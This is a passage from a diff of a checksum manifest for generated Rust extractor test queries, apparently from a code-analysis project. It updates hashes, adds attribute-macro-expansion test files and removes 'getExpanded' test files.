test/extractor-tests/generated/ClosureExpr/ClosureExpr_getParamList.ql 68ce501516094512dd5bfed42a785474583a91312f704087cba801b02ba7b834 eacbf89d63159e7decfd84c2a1dc5c067dfce56a8157fbb52bc133e9702d266d test/extractor-tests/generated/ClosureExpr/ClosureExpr_getRetType.ql c95bc7306b2d77aa05a6501b6321e6f1e7a48b7ad422ba082635ab20014288ae fe72d44c9819b42fff49b9092a9fb2bfafde6d3b9e4967547fb5298822f30bc3 test/extractor-tests/generated/Comment/Comment.ql 5428b8417a737f88f0d55d87de45c4693d81f03686f03da11dc5369e163d977b 8948c1860cde198d49cff7c74741f554a9e89f8af97bb94de80f3c62e1e29244 -test/extractor-tests/generated/Const/Const.ql ddce26b7dc205fe37651f4b289e62c76b08a2d9e8fdaf911ad22a8fdb2a18bc9 b7c7e3c13582b6424a0afd07588e24a258eff7eb3c8587cc11b20aa054d3c727 +test/extractor-tests/generated/Const/Const.ql 6794d0056060a82258d1e832ad265e2eb276206f0224a3f0eb9221e225370066 0a6134fb5a849ce9bd1a28de783460301cafca5773bd7caa4fb1f774f81b476a test/extractor-tests/generated/Const/Const_getAttr.ql bd6296dab00065db39663db8d09fe62146838875206ff9d8595d06d6439f5043 34cb55ca6d1f44e27d82a8b624f16f9408bae2485c85da94cc76327eed168577 +test/extractor-tests/generated/Const/Const_getAttributeMacroExpansion.ql 82e86399d5cd72621dc8d9cd9f310d3dc7f2ecf208149dab0d202047ccbbd2f8 33df8c5b5044f49ec244e183c61c3b81fabd987f590ba6da4e18e08231343dc8 test/extractor-tests/generated/Const/Const_getBody.ql f50f79b7f42bb1043b79ec96f999fa4740c8014e6969a25812d5d023d7a5a5d8 90e5060ba9757f1021429ed4ec4913bc78747f3fc415456ef7e7fc284b8a0026 test/extractor-tests/generated/Const/Const_getCrateOrigin.ql f042bf15f9bde6c62d129601806c79951a2a131b6388e8df24b1dc5d17fe89f7 7c6decb624f087fda178f87f6609510907d2ed3877b0f36e605e2422b4b13f57 -test/extractor-tests/generated/Const/Const_getExpanded.ql b2d0dc1857413cdf0e222bda4717951239b8af663522990d3949dfc170fab6f5 a21fed32088db850950cb65128f2f946d498aaa6873720b653d4b9b2787c7d00 test/extractor-tests/generated/Const/Const_getExtendedCanonicalPath.ql 3300b902e1d1f9928cfe918203b87043e13460cfa5348a8c93712d2e26d61ced 71e7b80d3290f17b1c235adaca2c48ae90eb8b2cb24d4c9e6dc66559daf3824c test/extractor-tests/generated/Const/Const_getName.ql b876a1964bbb857fbe8852fb05f589fba947a494f343e8c96a1171e791aa2b5e 83655b1fbc67a4a1704439726c1138bb6784553e35b6ac16250b807e6cd0f40c test/extractor-tests/generated/Const/Const_getTypeRepr.ql 87c5deaa31014c40a035deaf149d76b3aca15c4560c93dd6f4b1ee5f76714baa f3e6b31e4877849792778d4535bd0389f3afd482a6a02f9ceb7e792e46fca83e @@ -760,10 +760,10 @@ test/extractor-tests/generated/ContinueExpr/ContinueExpr_getLifetime.ql 39dae987 test/extractor-tests/generated/Crate/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr.ql 513d64b564f359e1022ae6f3d6d4a8ad637f595f01f29a6c2a167d1c2e8f1f99 0c7a7af6ee1005126b9ab77b2a7732821f85f1d2d426312c98206cbbedc19bb2 test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr_getTypeBoundList.ql b20720ff0b147d55cea6f2de44d5bf297e79991eaf103938ccd7ab9d129e9656 eb8c9db2581cea00c29d7772de0b0a125be02c37092217a419f1a2b6a9711a6c -test/extractor-tests/generated/Enum/Enum.ql 31645674671eda7b72230cd20b7a2e856190c3a3244e002ab3558787ed1261d9 1f40ee305173af30b244d8e1421a3e521d446d935ece752da5a62f4e57345412 +test/extractor-tests/generated/Enum/Enum.ql eebc780aef77b87e6062724dd8ddb8f3ad33021061c95924c2c2439798ffbb87 0d19552872a2254f66a78b999a488ce2becdb0b0611b858e0bee2b119ee08eae test/extractor-tests/generated/Enum/Enum_getAttr.ql 8109ef2495f4a154e3bb408d549a16c6085e28de3aa9b40b51043af3d007afa7 868cf275a582266ffa8da556d99247bc8af0fdf3b43026c49e250cf0cac64687 +test/extractor-tests/generated/Enum/Enum_getAttributeMacroExpansion.ql 571ec6396fb7fc703b23aab651b3c6c05c9b5cd9d69a9ae8f5e36d69a18c89d3 c04025992f76bce7638728847f1ef835d3a48d3dc3368a4d3b73b778f1334618 test/extractor-tests/generated/Enum/Enum_getCrateOrigin.ql 76d32838b7800ed8e5cab895c9dbea76129f96afab949598bebec2b0cb34b7ff 226d099377c9d499cc614b45aa7e26756124d82f07b797863ad2ac6a6b2f5acb -test/extractor-tests/generated/Enum/Enum_getExpanded.ql 846117a6ee8e04f3d85dce1963bffcbd4bc9b4a95bfab6295c3c87a2f4eda50e 3a9c57fa5c8f514ec172e98126d21b12abe94a3a8a737fb50c838b47fe287ac4 test/extractor-tests/generated/Enum/Enum_getExtendedCanonicalPath.ql 001bb634adc4b20afb241bff41194bc91ba8544d1edd55958a01975e2ac428e1 c7c3fe3dc22a1887981a895a1e5262b1d0ad18f5052c67aa73094586de5212f6 test/extractor-tests/generated/Enum/Enum_getGenericParamList.ql 2a858a07195a4b26b8c92e28519995bd6eba64889bddd126e161038f4a8d78e0 db188f238db915c67b084bc85aa0784c6a20b97b5a5f1966b3530c4c945b5527 test/extractor-tests/generated/Enum/Enum_getName.ql 32a8638534f37bfd416a6906114a3bcaf985af118a165b78f2c8fffd9f1841b8 c9ca8030622932dd6ceab7d41e05f86b923f77067b457fb7ec196fe4f4155397 @@ -772,17 +772,17 @@ test/extractor-tests/generated/Enum/Enum_getVisibility.ql 7fdae1b147d3d2ed41e055 test/extractor-tests/generated/Enum/Enum_getWhereClause.ql 00be944242a2056cd760a59a04d7a4f95910c122fe8ea6eca3efe44be1386b0c 70107b11fb72ed722afa9464acc4a90916822410d6b8bf3b670f6388a193d27d test/extractor-tests/generated/ExprStmt/ExprStmt.ql 811d3c75a93d081002ecf03f4e299c248f708e3c2708fca9e17b36708da620e5 a4477e67931ba90fd948a7ef778b18b50c8492bae32689356899e7104a6d6794 test/extractor-tests/generated/ExprStmt/ExprStmt_getExpr.ql e269bb222317afe1470eee1be822d305fc37c65bca2999da8d24a86fa9337036 088369d6c5b072192290c34c1828b1068aeedaabdae131594ca529bbb1630548 -test/extractor-tests/generated/ExternBlock/ExternBlock.ql 14da23b2b22f3d61a06103d1416ad416333945fd30b3a07b471f351f682c4e16 eaaf4ac8dc23c17d667bc804ed3b88c816c0c5a6127b76e2781faec52534426c +test/extractor-tests/generated/ExternBlock/ExternBlock.ql 237040dfe227530c23b77f4039d2a9ed5f247e1e8353dc99099b18d651428db2 49c8672faa8cc503cc12db6f694895ee90e9ab024a8597673fd4a620a39f28cf test/extractor-tests/generated/ExternBlock/ExternBlock_getAbi.ql 9b7c7263fcbc84e07361f5b419026a525f781836ede051412b22fb4ddb5d0c6a c3755faa7ffb69ad7d3b4c5d6c7b4d378beca2fa349ea072e3bef4401e18ec99 test/extractor-tests/generated/ExternBlock/ExternBlock_getAttr.ql 78ed6a2d31ccab67b02da4792e9d2c7c7084a9f20eb065d83f64cd1c0a603d1b e548d4fa8a3dc1ca4b7d7b893897537237a01242c187ac738493b9f5c4700521 +test/extractor-tests/generated/ExternBlock/ExternBlock_getAttributeMacroExpansion.ql 39b006e3acb71272cd0f211d37048949c41cc2cdf5bad1702ca95d7ff889f23f 2fceb9fa8375391cfe3d062f2d96160983d4cf94281e0098ab94c7f182cb008d test/extractor-tests/generated/ExternBlock/ExternBlock_getCrateOrigin.ql 5a2e0b546e17a998156f48f62e711c8a7b920d352516de3518dfcd0dfedde82d 1d11b8a790c943ef215784907ff2e367b13737a5d1c24ad0d869794114deaa32 -test/extractor-tests/generated/ExternBlock/ExternBlock_getExpanded.ql 13d466cb7d6ab8d7d5a98237775518826675e7107dbd7a3879133841eacfcadc b091495c25ead5e93b7a4d64443ca8c8bfdeb699a802bd601efa0259610cf9e7 test/extractor-tests/generated/ExternBlock/ExternBlock_getExtendedCanonicalPath.ql 40d6ee4bcb77c2669e07cf8070cc1aadfca22a638412c8fcf35ff892f5393b0c e9782a3b580e076800a1ad013c8f43cdda5c08fee30947599c0c38c2638820d6 test/extractor-tests/generated/ExternBlock/ExternBlock_getExternItemList.ql 2c2b29bdfdc3b27173c068cbaab9946b42053aa14cf371236b4b60ff2e723370 dfc20fc8ef81cdce6f0badd664ef3914d6d49082eb942b1da3f45239b4351e2f -test/extractor-tests/generated/ExternCrate/ExternCrate.ql 3d4a4db58e34e6baa6689c801dd5c63d609549bcd9fa0c554b32042594a0bc46 63568f79c7b9ceb19c1847f5e8567aec6de5b904ef0215b57c7243fcf5e09a7a +test/extractor-tests/generated/ExternCrate/ExternCrate.ql 25721ab97d58155c7eb434dc09f458a7cb7346a81d62fae762c84ae0795da06d d8315c4cf2950d87ecf12861cf9ca1e1a5f9312939dce9d01c265b00ba8103fd test/extractor-tests/generated/ExternCrate/ExternCrate_getAttr.ql cbe8efdfdbe5d46b4cd28d0e9d3bffcf08f0f9a093acf12314c15b692a9e502e 67fe03af83e4460725f371920277186c13cf1ed35629bce4ed9e23dd3d986b95 +test/extractor-tests/generated/ExternCrate/ExternCrate_getAttributeMacroExpansion.ql 254a0be2f36e593f1473dfc4d4466a959683a4c09d8b8273f33b39f04bb41a7b a087003503a0b611de2cd02da4414bb0bbbc73ef60021376a4748e0e34a44119 test/extractor-tests/generated/ExternCrate/ExternCrate_getCrateOrigin.ql c0bf9ba36beb93dc27cd1c688f18b606f961b687fd7a7afd4b3fc7328373dcfb 312da595252812bd311aecb356dd80f2f7dc5ecf77bc956e6478bbe96ec72fd9 -test/extractor-tests/generated/ExternCrate/ExternCrate_getExpanded.ql 007d4bae6dad9aa2d7db45dfc683a143d6ce1b3dd752233cdc46218e8bdab0b1 e77fe7e5128ee3673aec69aef44dc43f881a3767705866c956472e0137b86b60 test/extractor-tests/generated/ExternCrate/ExternCrate_getExtendedCanonicalPath.ql 88e16e2bbef466cec43ace25716e354408b5289f9054eaafe38abafd9df327e3 83a69487e16d59492d44d8c02f0baf7898c88ed5fcf67c73ed89d80f00c69fe8 test/extractor-tests/generated/ExternCrate/ExternCrate_getIdentifier.ql 6ce362fb4df37210ce491e2ef4e04c0899a67c7e15b746c37ef87a42b2b5d5f9 5209c8a64d5707e50771521850ff6deae20892d85a82803aad1328c2d6372d09 test/extractor-tests/generated/ExternCrate/ExternCrate_getRename.ql 52007ef7745e7ceb394de73212c5566300eb7962d1de669136633aea0263afb2 da98779b9e82a1b985c1b1310f0d43c784e5e66716a791ac0f2a78a10702f34b @@ -822,12 +822,12 @@ test/extractor-tests/generated/FormatArgsExpr/FormatTemplateVariableAccess.ql 27 test/extractor-tests/generated/FormatArgsExpr/Format_getArgumentRef.ql 634efdffaae4199aa9d95652cf081a8dc26e88224e24678845f8a67dc24ce090 d0302fee5c50403214771d5c6b896ba7c6e52be10c9bea59720ef2bb954e6f40 test/extractor-tests/generated/FormatArgsExpr/Format_getPrecisionArgument.ql 0d2140f84d0220b0c72c48c6bd272f4cfe1863d1797eddd16a6e238552a61e4d f4fe9b29697041e30764fa3dea44f125546bfb648f32c3474a1e922a4255c534 test/extractor-tests/generated/FormatArgsExpr/Format_getWidthArgument.ql 01ef27dd0bfab273e1ddc57ada0e079ece8a2bfd195ce413261006964b444093 acd0161f86010759417015c5b58044467a7f760f288ec4e8525458c54ae9a715 -test/extractor-tests/generated/Function/Function.ql 084e8c4a938e0eea6e2cd47b592021891cb2ad04edbec336f87f0f3faf6a7f32 200b8b17eb09f6df13b2e60869b0329b7a59e3d23a3273d17b03f6addd8ebf89 +test/extractor-tests/generated/Function/Function.ql 2efae1916e8f501668b3dbb2237cda788243fdd643683eda41b108dfdc578a90 6ec948518963985ec41b66e2b3b2b953e1da872dcd052a6d8c8f61c25bf09600 test/extractor-tests/generated/Function/Function_getAbi.ql e5c9c97de036ddd51cae5d99d41847c35c6b2eabbbd145f4467cb501edc606d8 0b81511528bd0ef9e63b19edfc3cb638d8af43eb87d018fad69d6ef8f8221454 test/extractor-tests/generated/Function/Function_getAttr.ql 44067ee11bdec8e91774ff10de0704a8c5c1b60816d587378e86bf3d82e1f660 b4bebf9441bda1f2d1e34e9261e07a7468cbabf53cf8047384f3c8b11869f04e +test/extractor-tests/generated/Function/Function_getAttributeMacroExpansion.ql 17a346a9e5d28af99522520d1af3852db4cae01fb3d290a65c5f84d8d039c345 36fb06b55370828d9bc379cf5fad7f383cdb6f6db6f7377660276943ab0e1ec8 test/extractor-tests/generated/Function/Function_getBody.ql cf2716a751e309deba703ee4da70e607aae767c1961d3c0ac5b6728f7791f608 3beaf4032924720cb881ef6618a3dd22316f88635c86cbc1be60e3bdad173e21 test/extractor-tests/generated/Function/Function_getCrateOrigin.ql acec761c56b386600443411cabb438d7a88f3a5e221942b31a2bf949e77c14b4 ff2387acb13eebfad614b808278f057a702ef4a844386680b8767f9bb4438461 -test/extractor-tests/generated/Function/Function_getExpanded.ql dc93cca67a3436543cd5b8e5c291cceacde523b8652f162532b274e717378293 c0c28eeb6c97690dfc82bd97e31db1a6b72c6410b98eb193270a37fc95952518 test/extractor-tests/generated/Function/Function_getExtendedCanonicalPath.ql 0bcdca25bb92424007cea950409d73ba681e3ffbea53e0508f1d630fccfa8bed ff28c3349f5fc007d5f144e549579bd04870973c0fabef4198edce0fba0ef421 test/extractor-tests/generated/Function/Function_getGenericParamList.ql 0b255791c153b7cb03a64f1b9ab5beccc832984251f37516e1d06ce311e71c2b d200f90d4dd6f8dfd22ce49203423715d5bef27436c56ee553097c668e71c5a1 test/extractor-tests/generated/Function/Function_getName.ql 3d9e0518075d161213485389efe0adf8a9e6352dd1c6233ef0403a9abbcc7ed1 841e644ecefff7e9a82f458bcf14d9976d6a6dbe9191755ead88374d7c086375 @@ -848,11 +848,11 @@ test/extractor-tests/generated/IfExpr/IfExpr_getAttr.ql f5872cdbb21683bed689e753 test/extractor-tests/generated/IfExpr/IfExpr_getCondition.ql 5bab301a1d53fe6ee599edfb17f9c7edb2410ec6ea7108b3f4a5f0a8d14316e3 355183b52cca9dc81591a09891dab799150370fff2034ddcbf7b1e4a7cb43482 test/extractor-tests/generated/IfExpr/IfExpr_getElse.ql 8674cedf42fb7be513fdf6b9c3988308453ae3baf8051649832e7767b366c12f e064e5f0b8e394b080a05a7bccd57277a229c1f985aa4df37daea26aeade4603 test/extractor-tests/generated/IfExpr/IfExpr_getThen.ql 0989ddab2c231c0ee122ae805ffa0d3f0697fb7b6d9e53ee6d32b9140d4b0421 81028f9cd6b417c63091d46a8b85c3b32b1c77eea885f3f93ae12c99685bfe0a -test/extractor-tests/generated/Impl/Impl.ql a6e19421a7785408ad5ce8e6508d9f88eceb71fe6f6f4abc5795285ecc778db6 158519bed8a89b8d25921a17f488267af6be626db559bd93bbbe79f07ebfed6c +test/extractor-tests/generated/Impl/Impl.ql 3a82dc8738ad09d624be31cad86a5a387981ec927d21074ec6c9820c124dfd57 8fabe8e48396fb3ad5102539241e6b1d3d2455e4e5831a1fa2da39e4faf68a0e test/extractor-tests/generated/Impl/Impl_getAssocItemList.ql cf875361c53c081ac967482fd3af8daf735b0bc22f21dcf0936fcf70500a001a 0ad723839fa26d30fa1cd2badd01f9453977eba81add7f0f0a0fcb3adb76b87e test/extractor-tests/generated/Impl/Impl_getAttr.ql 018bdf6d9a9724d4f497d249de7cecd8bda0ac2340bde64b9b3d7c57482e715b cd065899d92aa35aca5d53ef64eadf7bb195d9a4e8ed632378a4e8c550b850cd +test/extractor-tests/generated/Impl/Impl_getAttributeMacroExpansion.ql 526d4651f2bc703ee107f72b9940a3062777645d2421a3522429bf1d3925f6a2 c08c3d7501552987e50b28ab12a34abd539f6a395b8636167b109d9a470f195e test/extractor-tests/generated/Impl/Impl_getCrateOrigin.ql 494d5524ef7bac1286b8a465e833e98409c13f3f8155edab21d72424944f2ed9 b238ef992fce97699b14a5c45d386a2711287fd88fa44d43d18c0cdfd81ed72c -test/extractor-tests/generated/Impl/Impl_getExpanded.ql ce623514e77f67dda422566531515d839a422e75ea87a10d86ad162fa61e1469 533624938c937835a59326c086e341b7bacab32d84af132e7f3d0d17c6cd4864 test/extractor-tests/generated/Impl/Impl_getExtendedCanonicalPath.ql 3ab82fd7831d22c7ec125908abf9238a9e8562087d783c1c12c108b449c31c83 320afd5dd1cea9017dbc25cc31ebe1588d242e273d27207a5ad2578eee638f7e test/extractor-tests/generated/Impl/Impl_getGenericParamList.ql 88d5cd8fd03cb4cc2887393ee38b2e2315eeef8c4db40a9bd94cf86b95935bdd 9c72828669ccf8f7ca39851bc36a0c426325a91fc428b49681e4bb680d6547a9 test/extractor-tests/generated/Impl/Impl_getSelfTy.ql 2962d540a174b38815d150cdd9053796251de4843b7276d051191c6a6c8ecad4 b7156cec08bd6231f7b8f621e823da0642a0eb036b05476222f259101d9d37c0 @@ -900,19 +900,20 @@ test/extractor-tests/generated/LoopExpr/LoopExpr.ql 37b320acefa3734331f87414de27 test/extractor-tests/generated/LoopExpr/LoopExpr_getAttr.ql d557c1a34ae8762b32702d6b50e79c25bc506275c33a896b6b94bbbe73d04c49 34846c9eefa0219f4a16e28b518b2afa23f372d0aa03b08d042c5a35375e0cd6 test/extractor-tests/generated/LoopExpr/LoopExpr_getLabel.ql 0b77b9d9fb5903d37bce5a2c0d6b276e6269da56fcb37b83cd931872fb88490f c7f09c526e59dcadec13ec9719980d68b8619d630caab2c26b8368b06c1f2cc0 test/extractor-tests/generated/LoopExpr/LoopExpr_getLoopBody.ql 0267f54077640f3dfeb38524577e4a1229115eeb1c839398d0c5f460c1d65129 96ec876635b8c561f7add19e57574444f630eae3df9ab9bc33ac180e61f3a7b8 -test/extractor-tests/generated/MacroCall/MacroCall.ql 989d90726edab22a69377480ce5d1a13309d9aac60e0382c2ad6d36e8c7f1df5 68ffd6e1afa0c2c17fb04f87a09baca9766421aa28acd4ef8a6d04798f4c3a57 +test/extractor-tests/generated/MacroCall/MacroCall.ql 992e338a9c1353030f4bb31cae6ae4a1b957052e28c8753bae5b6d33dbe03fe9 863fbfd712a4f9ed613abb64ecb814b0a72b9ab65c50aa0dc5279d319249ae6a test/extractor-tests/generated/MacroCall/MacroCall_getAttr.ql c22a2a29d705e85b03a6586d1eda1a2f4f99f95f7dfeb4e6908ec3188b5ad0ad 9b8d9dcc2116a123c15c520a880efab73ade20e08197c64bc3ed0c50902c4672 +test/extractor-tests/generated/MacroCall/MacroCall_getAttributeMacroExpansion.ql 60cf2c12ec7fc3b25ed2a75bb7f3da5689469a65a418ba68db0ab26d0c227967 7f71c88c67834f82ef4bda93a678a084d41e9acb86808c3257b37dfc6c2908d2 test/extractor-tests/generated/MacroCall/MacroCall_getCrateOrigin.ql 3030e87de6f773d510882ee4469146f6008898e23a4a4ccabcbaa7da1a4e765e a10fe67315eda1c59d726d538ead34f35ccffc3e121eeda74c286d49a4ce4f54 -test/extractor-tests/generated/MacroCall/MacroCall_getExpanded.ql 757c4a4c32888e4604044c798a3180aa6d4f73381eec9bc28ba9dc71ffcbd03a 27d5edaa2c1096a24c86744aaad0f006da20d5caa28ccfd8528e7c98aa1bead1 test/extractor-tests/generated/MacroCall/MacroCall_getExtendedCanonicalPath.ql 553b810f611014ae04d76663d1393c93687df8b96bda325bd71e264e950a8be9 a0e80c3dac6a0e48c635e9f25926b6a97adabd4b3c0e3cfb6766ae160bcb4ee7 +test/extractor-tests/generated/MacroCall/MacroCall_getMacroCallExpansion.ql 1416adaedf6a11680c7261c912aa523db72d015fbfdad3a288999216050380a6 10b87d50f21ac5e1b7706fe3979cab72ecb95f51699540f2659ee161c9186138 test/extractor-tests/generated/MacroCall/MacroCall_getPath.ql 160edc6a001a2d946da6049ffb21a84b9a3756e85f9a2fb0a4d85058124b399a 1e25dd600f19ef89a99f328f86603bce12190220168387c5a88bfb9926da56d9 test/extractor-tests/generated/MacroCall/MacroCall_getTokenTree.ql 1cbf6b1ac7fa0910ff299b939743153fc00ad7e28a9a70c69a8297c6841e8238 570380c0dc4b20fe25c0499378569720a6da14bdb058e73d757e174bdd62d0c0 -test/extractor-tests/generated/MacroDef/MacroDef.ql 2b9965d72ba85d531f66e547059110e95a03315889fbb3833cce121c1ad49309 2b5b03afbce92745b1d9750a958b602ccf5e7f9f7934fb12d8b3c20dfc8d3d28 +test/extractor-tests/generated/MacroDef/MacroDef.ql 13ef4bdde6910b09cefe47f8753f092ed61db4d9f3cece0f67071b12af81991c a68091e30a38a9b42373497b79c9b4bde23ef0ab8e3a334ff73bfdde0c9895b2 test/extractor-tests/generated/MacroDef/MacroDef_getArgs.ql 61f11d6ba6ea3bd42708c4dc172be4016277c015d3560025d776e8fef447270f 331541eff1d8a835a9ecc6306f3adf234cbff96ea74b0638e482e03f3e336fd1 test/extractor-tests/generated/MacroDef/MacroDef_getAttr.ql 0a30875f7b02351a4facf454273fb124aa40c6ef8a47dfe5210072a226b03656 8e97307aef71bf93b28f787050bfaa50fe95edf6c3f5418acd07c1de64e62cc1 +test/extractor-tests/generated/MacroDef/MacroDef_getAttributeMacroExpansion.ql bd076cf1bab968a1502467652d73259d1ce0fe7f8af73bdf914e2ed1d903adf7 4673df049b36082be9a5b325f6afa7118b930bccdb5689e57ff7192b21d07345 test/extractor-tests/generated/MacroDef/MacroDef_getBody.ql 7b350f48e6f208d9fa4725919efd439baf5e9ec4563ba9be261b7a17dacc451b 33f99a707bb89705c92195a5f86055d1f6019bcd33aafcc1942358a6ed413661 test/extractor-tests/generated/MacroDef/MacroDef_getCrateOrigin.ql 6c46366798df82ed96b8fb1efeb46bd84c2660f226ff2359af0041d5cdf004ba 8ab22599ef784dcad778d86828318699c2230c8927ae98ab0c60ac4639d6d1b5 -test/extractor-tests/generated/MacroDef/MacroDef_getExpanded.ql 7f2baed8b5a2ba8a6e67cb601e7a03a7d3276673d6bd3b05f83b76058622bc2d 85241a780e2cec0be062042bcea4a3c3282f3694f6bf7faa64a51f1126b1f438 test/extractor-tests/generated/MacroDef/MacroDef_getExtendedCanonicalPath.ql d09b262b8e5558078506ec370255a63c861ca0c41ab9af3eb4f987325dadd90c cd466062c59b6a8ea2a05ddac1bf5b6d04165755f4773867774215ec5e79afa3 test/extractor-tests/generated/MacroDef/MacroDef_getName.ql 6bc8a17804f23782e98f7baf70a0a87256a639c11f92e3c80940021319868847 726f9d8249b2ca6789d37bb4248bf5dd044acc9add5c25ed62607502c8af65aa test/extractor-tests/generated/MacroDef/MacroDef_getVisibility.ql d858ccaab381432c529bf4a621afc82ea5e4b810b463f2b1f551de79908e14e7 83a85c4f90417ab44570a862642d8f8fc9208e62ba20ca69b32d39a3190381aa @@ -922,10 +923,10 @@ test/extractor-tests/generated/MacroItems/MacroItems.ql 876b5d2a4ce7dcb599e02208 test/extractor-tests/generated/MacroItems/MacroItems_getItem.ql 53fc2db35a23b9aca6ee327d2a51202d23ddf482e6bdd92c5399b7f3a73959b1 63051c8b7a7bfbe9cc640f775e753c9a82f1eb8472989f7d3c8af94fdf26c7a0 test/extractor-tests/generated/MacroPat/MacroPat.ql d9ec72d4d6a7342ee2d9aa7e90227faa31792ca5842fe948d7fdf22597a123b7 74b0f21ef2bb6c13aae74dba1eea97451755110909a083360e2c56cfbc76fd91 test/extractor-tests/generated/MacroPat/MacroPat_getMacroCall.ql 398996f0d0f2aa6d3b58d80b26c7d1185b5094d455c6c5c7f075f6d414150aa6 b4662e57cac36ed0e692201f53ba46c3d0826bba99c5cc6dfcb302b44dd2154b -test/extractor-tests/generated/MacroRules/MacroRules.ql 46c125145d836fd5d781d4eda02f9f09f2d39a35350dffb982610b27e4e4936f 4068314eca12ac08ad7e90ceb8b9d935a355c2fe8c38593972484abde1ac47b4 +test/extractor-tests/generated/MacroRules/MacroRules.ql 3c88db0c2ba65a1871340a5e940b66d471477852a1e3edba59a86234b7a9c498 98778dd95d029e4801c42081238db84a39e3ed60b30932436ea0fb51eedfcda1 test/extractor-tests/generated/MacroRules/MacroRules_getAttr.ql 7de501c724e3465520cdc870c357911e7e7fce147f6fb5ed30ad37f21cf7d932 0d7754b89bcad6c012a0b43ee4e48e64dd20b608b3a7aeb4042f95eec50bb6e6 +test/extractor-tests/generated/MacroRules/MacroRules_getAttributeMacroExpansion.ql 461651a72e5f860864ed4342973a666efa5b5749b7fcb00297808352a93f86e0 8b18a507753014f9faf716061d2366f7768dee0e8ea6c04e5276729306f26ce0 test/extractor-tests/generated/MacroRules/MacroRules_getCrateOrigin.ql fccedeee10ef85be3c26f6360b867e81d4ebce3e7f9cf90ccb641c5a14e73e7d 28c38a03a7597a9f56032077102e7a19378b0f3f3a6804e6c234526d0a441997 -test/extractor-tests/generated/MacroRules/MacroRules_getExpanded.ql 01746ce9f525dcf97517d121eb3d80a25a1ee7e1d550b52b3452ee6b8fd83a00 0ccb55088d949fa2cd0d0be34ea5a626c221ae1f35d56ccf2eb20c696d3c157b test/extractor-tests/generated/MacroRules/MacroRules_getExtendedCanonicalPath.ql a0098b1d945df46e546e748c2297444aaccd04a4d543ba3d94424e7f33be6d26 3bab748c7f5bbe486f30e1a1c422a421ab622f401f4f865afb003915ae47be83 test/extractor-tests/generated/MacroRules/MacroRules_getName.ql 591606e3accae8b8fb49e1218c4867a42724ac209cf99786db0e5d7ea0bf55d5 d2936ef5aa4bbf024372516dde3de578990aafb2b8675bbbf0f72e8b54eb82a8 test/extractor-tests/generated/MacroRules/MacroRules_getTokenTree.ql 7598d33c3d86f9ad8629219b90667b2b65e3a1e18c6b0887291df9455a319cab 69d90446743e78e851145683c17677497fe42ed02f61f2b2974e216dc6e05b01 @@ -961,10 +962,10 @@ test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getIdentifier.ql 13 test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getReceiver.ql 77407ac956c897ff7234132de1a825f1af5cfd0b6c1fd3a30f64fe08813d56db d80719e02d19c45bd6534c89ec7255652655f5680199854a0a6552b7c7793249 test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getResolvedCrateOrigin.ql c22504665900715e8a32dd47627111e8cef4ed2646f74a8886dead15fbc85bb5 d92462cf3cb40dcd383bcaffc67d9a43e840494df9d7491339cbd09a0a73427b test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getResolvedPath.ql 9e7bbb7ed60db49b45c3bdf8e01ec58de751889fc394f59ac33f9d6e98200aa1 c055d877e2ff0edc78cce6dd79c78b2881e7940889729cbb5c12e7029ddeb5a3 -test/extractor-tests/generated/Module/Module.ql 3b534dc4377a6411d75c5d1d99ad649acaebd17364af2738cbc86f5a43315028 feeedeb64c4eccba1787bff746ee8009bddead00123de98b8d5ca0b401078443 +test/extractor-tests/generated/Module/Module.ql 9e75a0f22f1f71eb473ebe73e6ffc618cbb59ea9f22b6e8bc85d3fb00b771c52 3eb5201ef046259207cb64fb123a20b01f2e742b7e4dd38400bd24743e2db1ad test/extractor-tests/generated/Module/Module_getAttr.ql b97ae3f5175a358bf02c47ec154f7c2a0bd7ca54d0561517008d59344736d5cd f199116633c183826afa9ab8e409c3bf118d8e626647dbc617ae0d40d42e5d25 +test/extractor-tests/generated/Module/Module_getAttributeMacroExpansion.ql 9f7c04c405d25448ed6d0e7bf1bb7fea851ea0e400db2246151dd705292ae3a8 f55d86901c7cf053cd68cb7ceb4d6b786834d2d35394079326ea992e7fbc9ce1 test/extractor-tests/generated/Module/Module_getCrateOrigin.ql ff479546bf8fe8ef3da60c9c95b7e8e523c415be61839b2fff5f44c146c4e7df b14d3c0577bd6d6e3b6e5f4b93448cdccde424e21327a2e0213715b16c064a52 -test/extractor-tests/generated/Module/Module_getExpanded.ql 03d49dd284795a59b7b5126218e1c8c7ce1cb0284c5070e2d8875e273d9d90fc fa004cf6b464afe0307c767e4dd29bbce7e1c65de61cdd714af542a8b68bbe44 test/extractor-tests/generated/Module/Module_getExtendedCanonicalPath.ql 55c5b633d05ddbe47d324535a337d5dfed5913ab23cdb826424ddd22009a2a53 ab9e11e334e99be0d4c8d2bd0580657211d05feeeb322fbb5400f07264219497 test/extractor-tests/generated/Module/Module_getItemList.ql 59b49af9788e9d8b5bceaeffe3c3d203038abd987880a720669117ac3db35388 9550939a0e07b11892b38ca03a0ce305d0e924c28d27f25c9acc47a819088969 test/extractor-tests/generated/Module/Module_getName.ql 7945dc007146c650cf4f5ac6e312bbd9c8b023246ff77f033a9410da29774ace 9de11a1806487d123376c6a267a332d72cd81e7d6e4baa48669e0bb28b7e352e @@ -1062,11 +1063,11 @@ test/extractor-tests/generated/SliceTypeRepr/SliceTypeRepr_getTypeRepr.ql a6604f test/extractor-tests/generated/SourceFile/SourceFile.ql c30a3c2c82be3114f3857295615e2ec1e59c823f0b65ea3918be85e6b7adb921 6a5bbe96f81861c953eb89f77ea64d580f996dca5950f717dd257a0b795453e6 test/extractor-tests/generated/SourceFile/SourceFile_getAttr.ql 450404306b3d991b23c60a7bb354631d37925e74dec7cc795452fe3263dc2358 07ffcc91523fd029bd599be28fe2fc909917e22f2b95c4257d3605f54f9d7551 test/extractor-tests/generated/SourceFile/SourceFile_getItem.ql f17e44bc0c829b2aadcb6d4ab9c687c10dc8f1afbed4e5190404e574d6ab3107 1cf49a37cc32a67fdc00d16b520daf39143e1b27205c1a610e24d2fe1a464b95 -test/extractor-tests/generated/Static/Static.ql 271ef78c98c5cb8c80812a1028bb6b21b5e3ae11976ed8276b35832bf41c4798 